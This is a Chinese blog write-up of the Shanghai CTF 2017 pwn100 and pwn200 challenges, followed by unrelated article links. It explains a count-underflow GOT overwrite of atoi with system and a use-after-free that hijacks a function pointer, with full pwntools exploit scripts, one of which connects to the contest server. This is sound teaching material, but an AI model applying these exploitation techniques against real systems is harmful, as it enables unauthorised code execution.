上海ctf2017 pwn100 && pwn200
前言
分析的 idb 文件在这:
https://gitee.com/hac425/blog_data/tree/master/shanghaictf
pwn100
程序是一个经典的 堆管理程序,基本增删改查功能。
add
功能很正常,分配8字节的内存然后写入8字节内容。把 分配到的 heap
指针存到 table
中,然后 count++
我们调试看看,使用 add
功能然后 看看堆的内容
可以看到尽管 malloc(8)
实际会分配 0x20
字节(0x10 chunk结构 + 8 + 8 字节 对齐padding)
所以这里应该没有溢出的问题,但是注意 count
变量会索引到下一个没有使用的 table
表项。
这个程序的问题在于,在 get_last
, edit
时会直接使用 table[count]
来获取要处理的指针, 而且在 delete
时就只是简单的 count--
,而且count
是一个有符号整数。这样多次 delete
后,count
会变成 负数。
然后 通过table[count]
(*(table + count*8)
) ,这样我们就可以通过get_last
, edit
来 泄露内存和 修改内存了。
ctf
中利用漏洞的目标一般就是执行 system('sh')
,在这里我们可以通过修改 got
表中atoi
函数的指针为 system
的函数,然后在调用 atoi
函数时,就会去调用 system
函数了。为什么要选择 atoi
函数作为目标呢?
在打印程序的菜单后,会要我们输入一个选项,这就会调用这个函数,可以看到他会读取 16
字节到 nptr
, 然后传到 atoi
,如果我们把 atoi
改成system
, 然后输入 sh
, 就会执行 system('sh')
了,目标达到。
由于是这样获取内存地址: *(table + count*8)
, 所以我们需要在 table
的上面(就是地址 < table的地址) 区域找到一个 指向 got
的指针。我们可以使用 pwndbg
的 searchmem
来搜索
属于
那么现在利用的思路就很清晰了。
首先多次调用
delete
函数使得table + count*8
指向 这里的atoi
函数对应的地址,也就是0x400588
.然后我们就可以通过
get_last
功能打印atoi
函数的地址,通过atoi
在libc
中的固定偏移,泄露libc
的地址。然后获取
system
函数地址,然后使用edit
修改atoi
函数的地址改成system
函数地址。然后输入sh
即可。
exp(要跑 20几分钟左右):
from pwn import *
# context.log_level = 'debug'
p = process("./list")
puts_plt = 0x602018
def add(content):
p.recvuntil("5.Exit\n")
p.sendline("1")
p.recvuntil("Input your content:\n")
sleep(0.5)
p.sendline(content)
def get_last_content():
p.recvuntil("5.Exit\n")
p.sendline("2")
p.recvuntil('4.Delete')
p.recvuntil('5.Exit\n')
content = p.recvuntil("5.Exit\n")
addr = u64(content[:6].ljust(8, '\x00'))
hexdump(content)
hexdump(content)
return addr
def edit(content):
p.sendline("3")
sleep(0.5)
p.send(content)
def delete():
p.recvuntil("5.Exit\n")
p.sendline("4")
# alloc 3 chunk before to 3
def get_count_to_addr(addr):
time = 0x602080 + 3 * 8 - addr
time = time / 8
print time
for i in range(time):
# sleep(0.5)
delete()
gdb.attach(p)
add("B" * 8)
add("B" * 8)
add(p64(puts_plt))
pause()
get_count_to_addr(0x400588)
print "modify the count to fushu"
pause()
print "::::" * 10
atoi_addr = get_last_content()
libc_addr = atoi_addr - 0x36e80
system_addr = libc_addr + 0x45390
log.success("system: " + hex(system_addr))
edit(p64(system_addr))
log.success("modify atoi---> system")
p.sendline("sh")
p.interactive()
# bp 0x0400924
pwn200
就是用c++
写的程序比较难看,不过看到程序的菜单,漏洞就很清楚了。
提示的很明显了,应该是 uaf
, 那我们就重点看看与内存分配相关的位置。
首先会分配两个结构体,其中开始8字节被写入了函数的指针。
可以看到内存块的大小为 0x40
大小。通过 new(0x30)
分配得到,所以 new
和 malloc
的分配方式应该是一样的。接着往下看。
选择2
时,可以有我们提供大小,传到 new
,然后通过 read
写入内容。
free
时会调用 delete
释放掉内存块。free
之后可以看到进入了fastbin
那此时我们使用 2
号功能,连续分配两块 48
(0x30) 字节的内存,就会拿到这两块内存了。
程序中内置了getshell
函数
所以我们在拿到那两块内存后,把开始 8 字节写成 getshell-8
函数的地址就行了。(减8的原因看下图)
然后使用 1
功能,就能调用了。
exp中把 开始 8 字节改成了 0x0602D50
exp:
from pwn import *
# p = process("./p200")
p = remote("106.75.8.58", 12333)
context.log_level = 'debug'
get_shell = p64(0x0602D50)
payload = get_shell
payload += "A" * (48 - len(payload))
# gdb.attach(p)
p.recvuntil("1. use, 2. after, 3. free\n")
p.sendline('3')
# 先释放掉那两个块
pause()
p.recvuntil("1. use, 2. after, 3. free\n")
p.sendline("2")
p.recvuntil("Please input the length:\n")
p.sendline("48")
sleep(0.5)
p.sendline(payload)
pause()
sleep(0.5)
p.recvuntil("1. use, 2. after, 3. free\n")
p.sendline("2")
p.recvuntil("Please input the length:\n")
p.sendline("48")
sleep(0.5)
p.sendline(payload)
# 分配两个块,占用刚刚释放的块, 开始8字节 为 0x0602D50
pause()
sleep(0.5)
p.sendline("1")
p.interactive()
上海ctf2017 pwn100 && pwn200的更多相关文章
- 《开源博客Q群》和《NET上海Q群》入群须知
开源博客Q群 群名:<嗨-博客> 群号:469075305(已满) 491585006(New) 群简介:“我们每个猿都有一个搭建自己独立博客的梦”. 入群要求: 您可以是HR,私聊管理员 ...
- 女生的最爱,装饰品。WPF也有,Adorner。(上海晒衣服理念)
说到装饰,不由要说到女性. 去年过年回家给我妈买了周大福项链,很明显就感觉待遇就不一样了,即使这样,还是被一个阿姨说应该买更重点的.看来钱这种东西果然是多一点才好.虽然自己无所谓,但让家里人更开心也是 ...
- ABP(现代ASP.NET样板开发框架)主题线下交流会(上海)开始报名了!
点这里进入ABP系列文章总目录 ABP主题线下交流会(上海)开始报名了 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)”的简称.它是采用最佳实践和流行技术 ...
- 使用nodejs爬取拉勾苏州和上海的.NET职位信息
最近开始找工作,本人苏州,面了几家都没有结果很是伤心.在拉勾上按照城市苏州关键字.NET来搜索一共才80来个职位,再用薪水一过滤,基本上没几个能投了.再加上最近苏州的房价蹭蹭的长,房贷压力也是非常大, ...
- 上海闪酷成为京东商城第一批独立软件开发商(ISV)
闪酷信息技术(上海)有限公司一直致力于为品牌企业提供电子商务软件及其服务,为其拓展电商渠道保驾护航.上海闪酷依据多年的行业经验和技术积累,与中国 最大的B2C商城达成战略合作,为其2万多家品牌供应商提 ...
- PHP 获取中国时间,即上海时区时间
/** * 获取中国时间,即上海时区时间 * @param <type> $format * @return <type> */ function getChinaTime($ ...
- 上海有线通下载exe会302转发请求
起因: 做的软件用的clickonce,在公网的clickonce下载exe时一直报错,在vpn环境下没问题.错误提示如下: + HTTP redirect is not allowed for ap ...
- 全信号高清DVI编码器|上海视涛科技
高清DVI编码器(E700)简介 高清DVI编码器是上海视涛科技出品的高性能全信号DVI编码产品.该DVI编码器是上海视涛科技完全自主研发,并适用于DVI信号的编码采集及网络传输的专用硬件设备.可兼容 ...
- 高清DVI编码器|上海视涛科技
DVI编码器(E600)简介 高清DVI编码器是上海视涛科技出品的高性能DVI编码产品.该DVI编码器是上海视涛科技完全自主研发,并适用于VGA.DVI.HDMI等信号的编码采集及网络传输的专用硬件设 ...
随机推荐
- VUE 项目dependency was not found: * !!vue-style-loader!css-loader? 解决方案
用npm run dev 运行vue项目时,出现以下错误: ERROR Failed to compile with errors :: This dependency was not found: ...
- Django中的Session--实现登录
Django中的Session--实现登录 Django Session Session Session 是什么 Session保存在服务端的键值对. 为什么要有 Session Cookie 虽然 ...
- [BZOJ 5323][Jxoi2018]游戏
传送门 \(\color{green}{solution}\) 它每次感染的人是它的倍数,那么我们只需要找出那些除了自己以外在\(l\), \(r\)内没有别的数是 它的约数的数,在这里称其为关键数. ...
- 物联网学习之路——物联网通信技术:NBIoT
NBIoT是什么 NB-IoT,Narrow Band Internet of Things,窄带物联网,是一种专为万物互联打造的蜂窝网络连接技术.顾名思义,NB-IoT所占用的带宽很窄,只需约180 ...
- 推荐几个好用的maven仓库镜像站
1.阿里云的镜像站(速度很快) <mirror> <id>nexus-aliyun</id> <name>Nexus aliyun</name&g ...
- SQL语句映射文件(1)resultMap
SQL 映射XML 文件是所有sql语句放置的地方.需要定义一个workspace,一般定义为对应的接口类的路径.写好SQL语句映射文件后,需要在MyBAtis配置文件mappers标签中引用,例如: ...
- Linux文件夹打包发送到本地
tar -cvf script.tar scriptsz script.tar 具体: sz/rz命令: 一般来说,linux服务器大多是通过ssh来进行远程的登陆和管理的,如何在命令方式下上传和 ...
- webpack初识!
最近在使用webpack 感觉棒棒哒 下面这个简单的教程可以让你走入webpack的世界 欢迎使用webpack 这个小教程通过简单的例子来引导大家使用webpack 通过这些这篇文章你可以学到 如何 ...
- [javaSE] 多线程(售票例子)
需求:简单的买票程序,多个窗口卖票,多线程 定义一个类Ticket实现Runnable接口, 定义成员属性int类型的票数nums 实现run()方法,run方法中 while(true)的死循环,打 ...
- SpringBoot 之Quartz的使用
对于Quartz的使用,还是想说一句,SpringBoot真的很好用啊! 第一步:当然是引入依赖啦 <parent> <groupId>org.springframework. ...